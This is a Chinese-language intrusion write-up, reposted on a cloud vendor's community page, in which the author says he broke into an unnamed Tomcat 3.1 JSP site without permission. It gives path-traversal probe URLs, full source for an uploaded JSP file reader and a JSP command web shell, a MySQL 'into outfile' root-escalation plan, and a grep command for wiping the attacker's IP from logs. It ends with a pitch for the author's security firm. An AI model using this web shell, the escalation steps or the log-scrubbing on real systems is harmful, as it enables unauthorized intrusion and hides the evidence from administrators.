WEB入侵的過程jsp

來源:互聯網
上載者:User
 

作者:lovehacker

本文描述了如何通過WEB入侵獲得freebsd 4.0的root許可權。
文章主要以教育為目的,希望各位觀者不要使用本文中的一些方法及程式,危害網路的安全。
作者:lovehacker
連絡方式:lovehacker@263.net
網站地址:http://www.chinansl.com
著作權屬安盟資訊科技有限責任公司所有,允許轉載,但需保持文章的完整性。

很偶然的一個機會,看到了一個網站,頁面清新,很舒服的感覺。網站是用JSP開發的,由於個人愛好,所以我決定看看系統的安全性。

telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]
返回的結果如下:
HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL
我獲得了啟動並執行WEBServer的名稱"Tomcat 3.1"。我記得我曾經發現過這個版本的漏洞,並且post到bugtrap上去過。
大概是:通過".."技術可以退出WEB目錄,於是:
http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)
嗯,在試試吧!Tomcat 3.1內建了一個管理工具,可以查看WEB下的目錄及檔案,並且可以添加context.試一下:http://target:8080/admin/
管理員果然沒有刪除或禁止訪問這個目錄:-(失誤!!!!!
接著我點"VIEW ALL CONTEXT"按鈕,列出了WEB目錄下的一些檔案和目錄的名稱,我開始仔細的看了起來,一小會兒,發現了一個上傳檔案的組件,嘿嘿,寫一個jsp檔案弄上去看看。
幾口咖啡的時間,我寫了這麼一個東東出來:
<%@ page import="java.io.*" %>
<%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"<br>");
}
}catch(IOException e){}
%>
通過上傳的組件將這個jsp上傳到對方的WEB目錄裡,然後:
http://target:8080/upload/test.jsp?file=/etc/passwd
嘿嘿,密碼出來啦。我只看了"/etc/passwd",並沒有看"/etc/shadow",因為當時考慮webserver一般使用nobody的身份啟動的,看了也白看。(失誤)
接下來的過程是無聊的猜測密碼,沒有成功。算了,那我只有將就點,反正現在我相當於有了一個shell了嘛,猜不出密碼上去,那就全當IE是我的SHELL環境吧!
再寫:
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
然後把這個jsp又通過upload上傳了上去,嘿嘿,我現在有個SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(我這裡就不列出來了)
怎麼獲得root呢?經過一番搜尋我發現了系統安裝了mysql並且我從jsp的原始碼中得到了mysql的密碼:)看看是什麼許可權啟動並執行mysql:
sqld">http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld
顯示:
root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql
嘿嘿,有辦法了,系統是以root身份啟動並執行mysql,同時我知道了mysql的密碼,那我現在我可以寫一個shell程式,讓它create一個表,然後將我的資料放到表中,然後再使用"select ... into outfile;"的辦法在系統上建立一個檔案,讓使用者在執行su的時候,運行我的程式。(還記得apache.org有一次被入侵嗎?hacker就採用的這種辦法)。
然後,我再上傳bindshell之類的程式,運行、獲得nobody的許可權,然後......再使用su root時幫忙建立的setuid shell讓自己成為root.
嘿嘿,真是好辦法,我都為我的想法感到得意......

接下去的事情,差點沒讓我吐血:
我敲了一個:http://target:8080/upload/cmd.jsp?cmd=id
顯示:
uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
kao,我的這個WEB SHELL本來就是ROOT,真是服了那個管理員,也服了自己。竟然折騰了這麼半天,哎!
http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份啟動並執行(不列出來了)

剩下來的事情:
1、刪除我的telnet記錄。
2、刪除http的日誌。
至於清除日誌嘛,我使用的辦法是:cat xxx |grep -V "IP" >>temp然後在把temp覆蓋那些被我修改過的記錄檔。
我沒有更換他的頁面,因為我本身也就不是什麼駭客啦,更不是紅客,只是個網路安全愛好者而已。所以,發封郵件告訴system admin吧!
當然,我順便在信中提到,如果需要安盟資訊科技為他提供安全服務的話,我們會非常的高興!

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.